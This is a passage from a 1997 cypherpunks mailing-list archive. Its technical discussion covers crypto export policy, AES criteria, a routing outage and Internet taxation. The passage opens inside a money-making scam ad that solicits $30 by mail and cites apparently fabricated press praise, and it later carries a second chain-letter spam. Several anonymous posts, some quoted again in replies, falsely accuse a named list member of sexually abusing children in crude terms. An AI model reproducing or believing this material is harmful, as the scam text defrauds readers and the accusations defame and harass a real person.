                     ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
The amount of exchange you would do each time is entirely upto you. Working 
just 2 to 3 hours a week, you can soon join the list of other  MILLIONAIRES 
who does this on a daily basis and many many times a day! The transactions 
are so simple that a high school kid can do this!!     
DON'T BELIEVE US, EXPERIENCE IT FOR YOURSELF !!!
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Unlike anyone else, we will assure you great financial freedom and you will 
add to our quickly growing base of  supporters and join the list of  Millionaires 
being made using this SECRET FLAW in the world currency market.
                                '''''''''''''''''''''''''''''''''''''''''''''''''''''
DON'T ENVY US, JOIN US TODAY
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
There is a small yearly membership fee of only $30 to cover administrative cost.  
Your important documents, instructions, contacts name & addresses along with 
important phone numbers and all other pertinent information will be mailed to 
you IMMEDIATELY! 

Once you become a member, you promise to keep all infos Confidential. Should
you choose to cancel your membership, you may return all materials within 60
days for refund.

IMPORTANT:
''''''''''''''''''''''''''''''''''''''''
1.......Write your name & mailing address Very Clearly on a small sheet of paper
2........Below your address, please write your E-MAIL address for the record
3........Below that please write the word 'NEW MEMBER'
3........Attache a CHECK or M.O. for US$30.00 and mail it to:


                            DIAMOND INTERNATIONAL
                            7510   SUNSET BLVD;
                            SUITE #  334
                            LOS ANGELES, CA.90046

( If you are outside U.S.A., please ADD US$ 10 extra for shipping  &  postage )
  ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
No more e-mail enquiries please. We do not have time to reply to individual 
e-mails anymore! We are busy making money!! Wouldn't you rather be doing 
the same too? Thank you !!!

Here are some more 'Editorial Excerpts' :
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Wall Street Journal:
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''   "A discreet group of American & European business 
people, operating under the guise of  World Currency Cartel   have recently
begun making rumbles in world finance market. While at this time, their game is 
not completely known, they certainly be watched by those making major moves
in the currency contracts".

Wall Street Week:
''''''''''''''''''''''''''''''''''''''''''''''''''''''   " Watch them, monitor them, extract their knowledge
and try to become one of them. That is the soundest financial advice I could
ever give someone ".

National Business Weekly:
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''   " While this reporter has been left in the cold as
to its method of operation, we have been able to confirm that  World Currency
Cartel and its members are literally amassing great fortunes overnight".

Barons:
'''''''''''''''''''''''''''''   " Simply put, they (world currency cartel) are the single most
powerful financial entity to emerge in this decade ".

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;   E  N  D  ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;







From stewarts at ix.netcom.com  Sun Apr 27 01:00:06 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 27 Apr 1997 01:00:06 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.1.32.19970425112019.0063ddd8@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970427003936.0064b978@popd.ix.netcom.com>


At 04:59 PM 4/25/97 -0800, Tim May wrote:
>At 10:20 AM -0800 4/25/97, Bill Stewart wrote:
>>Attachment converted: APS 1GB Fireball:PYRBBROW.GIF (GIFf/JVWR) (0000F3F7)
> ^^^^^^^^^^^^^^^^^^^^^
>I know I sound like a broken record, but these "attachments" are getting
>out of hand. I periodically look at my attachments folder and find several

Yeah, I probably shouldn't have, but it was small...

>(This GIF I opened...it appears to be a beer bottle with a star hanging
>around the neck. Self-ratings of beer?)

The context was the [some censorship group] initiative to ban alcohol and
tobacco advertising on the web.  Their big hangup is Joe Camel, of course,
but I didn't have a handy Joe Camel gif around at the time I was posting,
and good beer is a far more civilized thing anyway :-) - it's Pyramid's
Best Brown Ale.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From lucifer at dhp.com  Sun Apr 27 01:26:56 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 27 Apr 1997 01:26:56 -0700 (PDT)
Subject: [ANNOUNCEMENT] Meet-in-the-middle attack
Message-ID: <199704270826.EAA22338@dhp.com>


Tim C[rook] May prefers to have sex with little kids 
because his own penis is like that of a three-year-old.

      /\
     /..\  Tim C[rook] May
    /_\/_\






From real at freenet.edmonton.ab.ca  Sun Apr 27 09:00:34 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 27 Apr 1997 09:00:34 -0700 (PDT)
Subject: [ANNOUNCEMENT] Meet-in-the-middle attack
In-Reply-To: <199704270826.EAA22338@dhp.com>
Message-ID: 


On Sun, 27 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Tim C[rook] May prefers to have sex with little kids 
> because his own penis is like that of a three-year-old.
> 
>       /\
>      /..\  Tim C[rook] May
>     /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From nobody at huge.cajones.com  Sun Apr 27 10:05:40 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 27 Apr 1997 10:05:40 -0700 (PDT)
Subject: [ANNOUNCEMENT] Meet-in-the-middle attack
Message-ID: <199704271705.KAA30538@fat.doobie.com>


Date: Sun, 27 Apr 1997
From: Graham-John Bullers 
Cc: cypherpunks at toad.com
Subject: Re: [ANNOUNCEMENT] Meet-in-the-middle attack
Reply-To: Graham-John Bullers 

On Sun, 27 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.


> Tim C[rook] May prefers to have sex with little kids 
> because his own penis is like that of Graham-John Bullers.
> 
>       /\
>      /..\  Tim C[rook] May
>     /_\/_\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From stewarts at ix.netcom.com  Sun Apr 27 10:48:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 27 Apr 1997 10:48:07 -0700 (PDT)
Subject: Staale & Elm
In-Reply-To: 
Message-ID: <3.0.1.32.19970427104602.0065f860@popd.ix.netcom.com>


At 04:29 PM 4/26/97 -0500, harka at nycmetro.com wrote:
>1. Does anybody know, what happened to the International
>PGP-Homepage (http//www.ifi.uio.no/PGP/)? 
>It comes up as "Link not found" (?!)
>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
>to be gone...

It's there now.... must have been a glitch.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From jya at pipeline.com  Sun Apr 27 11:01:09 1997
From: jya at pipeline.com (John Young)
Date: Sun, 27 Apr 1997 11:01:09 -0700 (PDT)
Subject: Fax Security Program
Message-ID: <1.5.4.32.19970427175927.0075b2f8@pop.pipeline.com>


The TV show "Computer Chronicles" Saturday featured
various comm security products, one of which used a fax 
encoding system with unusual capabilities to transmit color
images, condensed text (say, a 30-page doc encoded
on a single fax page) or any other digital data as visual
clutter.

The hard copy is scanned at the receiving end and the 
program decodes and decompresses to the original format.

A demonstation showed that the clutter-code has error-correction 
robust enough to overcome any physical damage or defect in 
the transmittal or output.

We missed the name of the product and would appreciate
hearing from anyone who did, or who knows of the product.








From lrdon at cyberstation.net  Sun Apr 27 11:04:50 1997
From: lrdon at cyberstation.net (Lester Gordon (temp))
Date: Sun, 27 Apr 1997 11:04:50 -0700 (PDT)
Subject: Don Wood -- IPG
Message-ID: 


Have you seen what the notorious Don Wood of IPG infamy is up to now?
He has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'.
You won't believe it..






From alan at ctrl-alt-del.com  Sun Apr 27 12:26:36 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 27 Apr 1997 12:26:36 -0700 (PDT)
Subject: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: 
Message-ID: <3.0.1.32.19970427122125.031071a0@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 06:50 PM 4/26/97 -0400, tz at execpc.com wrote:
>On Fri, 25 Apr 1997, Declan McCullagh wrote:
>
>> My lord, I'm agreeing with Jim Bell!
>> 
>> Right now, no controls exit on domestic crypto, though strict export
>> controls are in place.
>> 
>> The question is: Do we want to give up any domestic freedom in exchange
>> for a relaxation of export controls? (Congress is, after all, built on
>> compromises between warring factions.)
>> 
>> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
>> progeny, while we keep our freedoms domestically. 
>> 
>> -Declan
>
>I emailed Rep Goodlatte, but didn't get a response about this issue.  My
>main problem is that it becomes a felony to use encryption for anything
>that can be prosecuted if I take the legalese literally.  So if I have a
>GSM cell phone in a car that is illegally parked, it seems that I would
>fall under the definition.
>
>I would mind it less if, 1. There had to be a conviction for the main
>crime.  2. The main crime must be a serious felony (i.e. something far
>worse than a single overdrawn check).  3. The penaly for using encryption
>in furtherance should be less than that for the main crime.  4. encryption
>had to play an intrinsic role in the main crime.  5. It must go beyond
>common, everyday uses of encryption.

It is kind of similar to the laws involving guns and crime.  If they find a
gun anywhere near the crime scene they tack on bigger and better penalties. 
(For example: they break down the door of someone who has some quantity of
illegal molecules on their property and find a gun in the search.  Odds are
they will try and tack on the "gun used in commission of a crime" penalties.)
 Anything that can become a threat to those in power will become eligible for
such additional penalties at some point.  

"In the future it will be extra jail time for using fire and/or the wheel in
the commission of a crime.  and the people to bring it to you?  The TLAs!"

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2OnKOQCP3v30CeZAQGXIAf+JS45w58k062qNfMAOPs8zDrwi2V7LkrD
U1ibZoTCA8zr5PMP8/JqOEhY7vxWsduO53OHYJPKj46cqZ5WkLpTJdQUzJ1vRLTZ
/hvd84/MgWnThb+zVZoqywH3Ss049vq6RWSJQkNXkGzMrTi3920uOrAXd+55LclN
jDjsvEMTnyQN1ziF2v4SMaMNnd0zN0xVG+/xmm4CHcQL2FR0wJhSZGiyYilL21w6
9qIilgQmpx6t7Ma4V94CnFS/mJzPNc/0DHRvnuIBdSD/XPRvJdVdA+gwDXKDoMJk
SBhAI3mbrTvPRAP9AE+bco7ecxuDDhJElcTJDU2PjBowu4gfPL3WwA==
=72ny
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|





From alan at ctrl-alt-del.com  Sun Apr 27 14:46:10 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 27 Apr 1997 14:46:10 -0700 (PDT)
Subject: Staale & Elm
In-Reply-To: 
Message-ID: <3.0.1.32.19970427144534.02beb820@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 10:46 AM 4/27/97 -0700, Bill Stewart wrote:
>At 04:29 PM 4/26/97 -0500, harka at nycmetro.com wrote:
>>1. Does anybody know, what happened to the International
>>PGP-Homepage (http//www.ifi.uio.no/PGP/)? 
>>It comes up as "Link not found" (?!)
>>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
>>to be gone...
>
>It's there now.... must have been a glitch.

I have been noticing a problem contacting sites all over Northern and Central
Europe.

I mirror selected crypto sites on a local system (for personal use, not
general distribution or FTP) and have noticed that I cannot get a reliable
mirror off of a couple of different sites.  sable.ox.ac.uk, hacktic.nl,
win.tue.nl and ftp.orpht.lu have all been unreliable/unreachable the last few
days.  I am not certain if this is a bandwidth issue or if someone is activly
interfearing with sites dealing in Unix Security/Crypto software.
(ftp.funet.fi has been tempermental, but reachable.  Sites in other areas
have been unaffected.)

Anyone have more data on this?
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM2PI8+QCP3v30CeZAQHigQf+PjNmUdO4K6JMXOKiZZXhf7o5pB88Wqcx
4vkj5z2+jqFUZ1t+O+2LASIY7n9hWaQQDSPVmuMs1wLmnZo1fmtx2TO9WS5+Z1uN
OvFDdDpLsqshKA4jz43Ch79xePDXZLWpXfA0SpmoL2Wzc9Gtc1D9/k9JdGky1UDv
M7nnNY4vUpbkj7+jCguSnv6/V6/MdUIyy5pbn7DYjvLdZoPpa+D446vkAsb46UyI
ucw6PMWrhZVMViDY6JrRulEOeAZ4F/4OXOT8e9JZC74+YZSUda5z2kfkxmzpQRlH
d7+X4C7EXTeGjDajo3poRYYHZihO7VHV4eFX7wFZStfF2uzk5ZWfNA==
=WieQ
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|





From snow at smoke.suba.com  Sun Apr 27 15:22:06 1997
From: snow at smoke.suba.com (snow)
Date: Sun, 27 Apr 1997 15:22:06 -0700 (PDT)
Subject: New Crypto Panel
In-Reply-To: <1.5.4.32.19970424163437.006df544@pop.pipeline.com>
Message-ID: <199704272222.RAA07351@smoke.suba.com>


> Federal Register, April 24, 1997:
>     The Secretary of Commerce has determined that the 
> establishment of the President's Export Council
> Subcommittee on Encryption is in the public interest in 
> connection with the performance of duties imposed on the 
> Department by law.
>     Interested persons are invited to submit comments regarding 
> the establishment of the Subcommittee to Lee Ann Carpenter, 
> Committee Liaison Officer, OAS/EA/BXA, U.S. Department of 
> Commerce, MS: 3886C, Washington, D.C., 20230. Telephone: 
> 202-482-2583. FAX: 202-501-8024.

	Figures that they wouldn't provide an email address. Clues for the 
clueless anyone?

	





From jya at pipeline.com  Sun Apr 27 15:39:49 1997
From: jya at pipeline.com (John Young)
Date: Sun, 27 Apr 1997 15:39:49 -0700 (PDT)
Subject: "New Israel" (Re: Don Wood -- IPG)
Message-ID: <1.5.4.32.19970427223809.008c30ec@pop.pipeline.com>


Screwy as the New Israel idea may seem, it's been
around a while.

There was talk of such a plan in the early 90s to settle 
Russian Jews in the US Southwest, using decommissioned 
military bases as new Ellis Islands, kibbutzim, trailer 
trashheaps. As was eventually done in the Israel (our 
firm surveyed housing sites for the latter and learned of
the alternative US plan then).

We were told that the promise of Amer-Indian casino gambling 
made southwest real estate too attractive to devalue with
refugee camps, so the idea was deferred it until the gambling
gold rush eased, or a Mid-East conflagration kicked in an
emergency relocation plan devised by DoD (no surprise 
there, DoD contingency-plans the globe).






From stewarts at ix.netcom.com  Sun Apr 27 16:33:07 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sun, 27 Apr 1997 16:33:07 -0700 (PDT)
Subject: AES Comments
In-Reply-To: 
Message-ID: <3.0.1.32.19970427163220.00667c40@popd.ix.netcom.com>


At 12:27 PM 4/26/97 -0500, Bruce Schneier wrote to NIST about their
proposals for an Advanced Encryption Standard (AES) FIPS:

>With this in mind, I propose a set of Minimum Acceptability Criteria that
>pushes the envelope of current encryption algorithms:
>	A variable key, supporting (at least) a 128- and 256-bit key .
One of Bruce's comments is that any algorithm picked today will
probably be around until 2040-50; if computer speeds double every year,
then the marginally useful strength by then will be about 110-120 bits.
While it's nice to have an expandable key structure that will let you
increase the strength by then, 128 bits is really still strong enough,
and a fixed-keylength algorithm that's still workable in triple-mode 
should work just fine.
>		No more than double with a 256-bit key on any platform.
Allowing triple opens the field a lot, and by the time you need >128-bit keys,
machines will be so blazingly fast that a 50% difference won't matter much;
you'll still be able to encrypt that 1Gbps 3D video in real time.

>	Encryption speeds (in clock cycles per byte encrypted):
>		No more than 64 on an 8-bit smart card with a 128-bit key.

How fast do you really need, in seconds, for typical smart-card apps?
64 cycles at 1MHz is 16000 bytes/second; 128 cycles is 8000 bytes/second.
How fast are most smartcards?  1MHz?  2MHz?  500kHz?
The main uses I can see for 8-bit crypto processing are
- cheap, large-volume crypto for uncompressed voice (needs 8000 bytes/sec)
- adding crypto to digital phones ( ~800-1660 bytes/sec )
- money cards (if you're not using public-key, maybe you need 100 bytes,
	so 8000 bytes/sec is 1/80 sec transaction?)
- ATM machines (which typically have 4800-bits/sec data connections,
	== 600 bytes/sec, and often have 16-bit processors.  Even DES works.)

>		No more than 16 on a Pentium, Pentium Pro, PowerPC, or DEC
>		Alpha with a 128-bit key.
Which interestingly knocks out Blowfish (18 cycles), Khufu (20), and RC5 (23),
and the only things faster are SEAL and RC4 stream-only cyphers.
It's a tradeoff between forcing the development and testing of
cutting-edge speed, which may cost you in strength, vs. supporting a
bunch of existing algorithms we're starting to understand.
If it takes an extra 2 years to develop new algorithms,
you've doubled computer speed, so you could use the 17-32-cycle algorithms
you're rejecting today.....

>These requirements are not easy to meet.  As far as I know, no published
>block cipher meets them all (although some come close in many areas).  But
>requirements such as these will challenge the world's cryptographic
>research organizations to create something useful. 
>I know you realize that the selection process will take several years to
>complete.  Therefor, I urge you to approve triple-DES as an interim
>standard.  This will satisfy users who need a 64-bit block cipher for
>compatibility reasons, while allowing you the time required to choose and
>approve the best AES you can.

If this is the ulterior motive for requiring faster-than-current algorithms,
I'm all for it (:-)  Triple-DES is boring, slow, and just fine for most
applications.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From mixmaster at remail.obscura.com  Sun Apr 27 16:36:44 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Sun, 27 Apr 1997 16:36:44 -0700 (PDT)
Subject: No Subject
Message-ID: <199704272331.QAA04632@sirius.infonex.com>


Timmy C. May prefers to have sex with little kids because his own 
penis is like that of a three-year-old.

      (_) _____ (_)
         /O   O\   Timmy C. May
        !   I   !
        ! \___/ !
         \_____/






From dave at xxxdoe.net  Sun Apr 27 16:52:37 1997
From: dave at xxxdoe.net (dave at xxxdoe.net)
Date: Sun, 27 Apr 1997 16:52:37 -0700 (PDT)
Subject: Mail Two Letters & Earn $15,000 Month !!
Message-ID: 


JUST MAIL TWO LETTERS....AND
"Make up to $15,000 in ONE (1) MONTH"
RESULTS ARE GUARANTEED! (proof will be sent with order)

As unbelievable as it sounds. I have developed
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It's a money making discovery that is so powerful,
it's guaranteed to produce at least $500 (or more)
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simple instructions, or I'll pay you $100 for
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why not you? I'll show you exactly how it's done
and provide you with SPECIFIC FORMS AND INFORMATION.
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I know you've been bombarded with ads claiming to make you rich.
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From ericm at lne.com  Sun Apr 27 17:07:36 1997
From: ericm at lne.com (Eric Murray)
Date: Sun, 27 Apr 1997 17:07:36 -0700 (PDT)
Subject: Staale & Elm
In-Reply-To: <3.0.1.32.19970427144534.02beb820@mail.teleport.com>
Message-ID: <199704280005.RAA18503@slack.lne.com>


Alan Olsen writes:
> At 10:46 AM 4/27/97 -0700, Bill Stewart wrote:
> >At 04:29 PM 4/26/97 -0500, harka at nycmetro.com wrote:
> >>1. Does anybody know, what happened to the International
> >>PGP-Homepage (http//www.ifi.uio.no/PGP/)?
> >>It comes up as "Link not found" (?!)
> >>Also Staales personal page (http://www.ifi.uio.no/~staalesc/) seems
> >>to be gone...
> >
> >It's there now.... must have been a glitch.
> 
> I have been noticing a problem contacting sites all over Northern and Central
> Europe.
> 
> I mirror selected crypto sites on a local system (for personal use, not
> general distribution or FTP) and have noticed that I cannot get a reliable
> mirror off of a couple of different sites.  sable.ox.ac.uk, hacktic.nl,
> win.tue.nl and ftp.orpht.lu have all been unreliable/unreachable the last few
> days.  I am not certain if this is a bandwidth issue or if someone is activly
> interfearing with sites dealing in Unix Security/Crypto software.
> (ftp.funet.fi has been tempermental, but reachable.  Sites in other areas
> have been unaffected.)
> 
> Anyone have more data on this?


Yea, it's a problem with a Sprint customer who put out a bunch of
bogus routes.  Since friday I have been having problems connecting
to various sites, not all of them security-related.

According to an article in the Mercury News (info from more technically
knowledgable sources welcome):

  A problem at an Internet service provider in Virginia
  triggered a massive logjam on the Internet Friday, but
  the trouble was cleared up later in the day, Sprint
  Corp. said. A customer of MAI Network Services, a
  McLean, Va.-based Internet provider that is among
  900 companies that buy wholesale access to the Net
  from Sprint, entered 10,000 duplicate routes to the
  Internet backbone.   That caused massive access delays for
  an undetermined number of users, a Sprint spokes
  man said. 


I wonder how long it'll be possible for unauthenticated/unapproved people to
mess around with routers.  Eventually the net will become so important
(because so much business involves it) that a large outage will cost
a lot of important people money.  They'll demand that politicians
"do something" to fix it.  It's a safe bet that instead of
doing what hackers/software engineers/IETF members would do
to solve the problem, namely re-designing things so that a single error
can't bring down the whole net, they'll just pass a law requiring
that anyone who wants the 'enable' password to a cisco have first
passed a government-approved "Internet Administrators Class" and
gotten a license.


-- 
   Eric Murray  ericm at lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From real at freenet.edmonton.ab.ca  Sun Apr 27 20:10:59 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 27 Apr 1997 20:10:59 -0700 (PDT)
Subject: your mail
In-Reply-To: <199704272331.QAA04632@sirius.infonex.com>
Message-ID: 



Vulis you are sick.

On Sun, 27 Apr 1997, Mix wrote:

> Timmy C. May prefers to have sex with little kids because his own 
> penis is like that of a three-year-old.
> 
>       (_) _____ (_)
>          /O   O\   Timmy C. May
>         !   I   !
>         ! \___/ !
>          \_____/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From snow at smoke.suba.com  Sun Apr 27 22:38:18 1997
From: snow at smoke.suba.com (snow)
Date: Sun, 27 Apr 1997 22:38:18 -0700 (PDT)
Subject: Cato forum on liquor advertising and electronic media
In-Reply-To: <1JZP6D4w165w@bwalk.dm.com>
Message-ID: <199704280540.AAA00449@smoke.suba.com>


> Cigarette advertizing is what created TV in the U.S.

	Is this an argument _for_ banning cigarette ads, or against?






From stewarts at ix.netcom.com  Mon Apr 28 00:18:06 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 28 Apr 1997 00:18:06 -0700 (PDT)
Subject: Texas declares war...
In-Reply-To: 
Message-ID: <3.0.1.32.19970428001502.005ea3d8@popd.ix.netcom.com>


A group of the Texan forces just invaded the home of one of their
neighbors, taking the couple there as "Prisoners of War".
The man was injured by glass, and has been treated.
They apparently haven't gotten along for quite a while,
and a number of the neighbors were starting to get
worried about the Republicans.  The house they attacked is
a heavy-duty adobe home.  The radio said the Republicans have
been communicating with the outside world, and that the normal
practice in this case was to cut the phone wires; didn't say if
the Republicans had the sense to bring a cell-phone or CB with them
when they attacked, but you'd hope an Internet-savvy group would :-)

To add some Cypherpunks content, this is one application for which
the pre-paid phone-card cellphones are a big win; if you've got
an account-based system, it's much easier for the Government to
ask the phone company what the suspects' phone number is
and order them to shut it down.  But card-systems would have to be 
traced from phone calls (very hard) or picked up with scanners.

Some other parts of the Republic have denounced this action.  
Invading a government building would have been one thing, 
but attacking civilian non-combatants is distinctly against 
the rules of "civilized" warfare...



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From llurch at networking.stanford.edu  Mon Apr 28 00:52:42 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Mon, 28 Apr 1997 00:52:42 -0700 (PDT)
Subject: PATHS: Internet Taxation (Wednesday May 7, 4:15 pm) (fwd)
Message-ID: 


FYI for SF Bay Aryans.

---------- Forwarded message ----------
                POLICY AND TECHNOLOGY HORIZONS SEMINAR

                          INTERNET TAXATION:
                     ECONOMICS, TECHNOLOGY AND LAW

                          CHARLES McLURE, Jr.
                          HOOVER INSTITUTION

                   Wednesday, May 7, 1997, 4:15 pm
              Manning Faculty Lounge, Stanford Law School
     (RSVP Susan French, SLTPC at forsythe.stanford.edu, or 723-0981)


Should electronic commerce be taxed, and how?

What should be taxed, income, sales, or both?

Who should tax, the federal government, states, or both?

Should a special excise tax be imposed on selected aspects of 
electronic commerce?

Is Internet taxation feasible, and how?

Answering these and similar questions requires agreement on the 
appropriate economic objectives of Internet taxation combined with an 
understanding of the dynamic interplay between technological and legal 
forces.

A draft paper will be available from http://www-techlaw.stanford.edu 
after May 2.

Charles E. McLure, Jr., a senior fellow at the Hoover Institution, 
specializes in the economics of taxation and tax reform.  He has 
served as Deputy Assistant Secretary of the Treasury for Tax Analysis, 
a senior economist on the staff of the President's Council of Economic 
Advisers, vice president of the National Bureau of Economic Research, 
and a tax policy consultant to various countries, the World Bank, the 
International Monetary Fund, and the United Nations.

Policy and Technology Horizons Seminars (PATHS) examine technological 
developments that may require a fundamental re-examination of policy, 
law, and regulation. Sponsored by the Stanford Law and Technology 
Policy Center, PATHS help identify critical policy issues in time for 
intelligent policymaking.






From whgiii at amaranth.com  Mon Apr 28 01:30:01 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 28 Apr 1997 01:30:01 -0700 (PDT)
Subject: PATHS: Internet Taxation (Wednesday May 7, 4:15 pm) (fwd)
In-Reply-To: 
Message-ID: <199704280828.DAA08777@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on
04/28/97 at 01:52 AM,
   Rich Graves  said:


>Should electronic commerce be taxed, and how?

No, NEVER!!!

>What should be taxed, income, sales, or both?

None of the Above

>Who should tax, the federal government, states, or both?

Neither

>Should a special excise tax be imposed on selected aspects of  electronic
>commerce?

No ofcource not.

>Is Internet taxation feasible, and how?

No it is not.

>Answering these and similar questions requires agreement on the 
>appropriate economic objectives of Internet taxation combined with an 
>understanding of the dynamic interplay between technological and legal 
>forces.

 It is obvious that whomever wrote this that they have already made
up their mind that the Internet should be taxed and are only interested in
disscussing on how to divide up the loot.

The above questions are a good example of push polling though.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Have you crashed your Windows today?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2Rugo9Co1n+aLhhAQFpAAP/VdOIo/vRWtg+MHfUEmzjFg4ri29GWAI4
x7NJ8JpD7shsIDCdLsNw/0sM1iadSekvOo8CFRwAp+1PbN2C9BtB6U1WCcT8C8AA
O36DrZQJlCOD2oMvhmyU1LztT/JHR0Tw0/+aJp8AL6MLLfkq1fJ3I/jja6HCv+JS
YJqAZOsymJM=
=ZaQZ
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Mon Apr 28 01:43:22 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 28 Apr 1997 01:43:22 -0700 (PDT)
Subject: Don Wood -- IPG
In-Reply-To: 
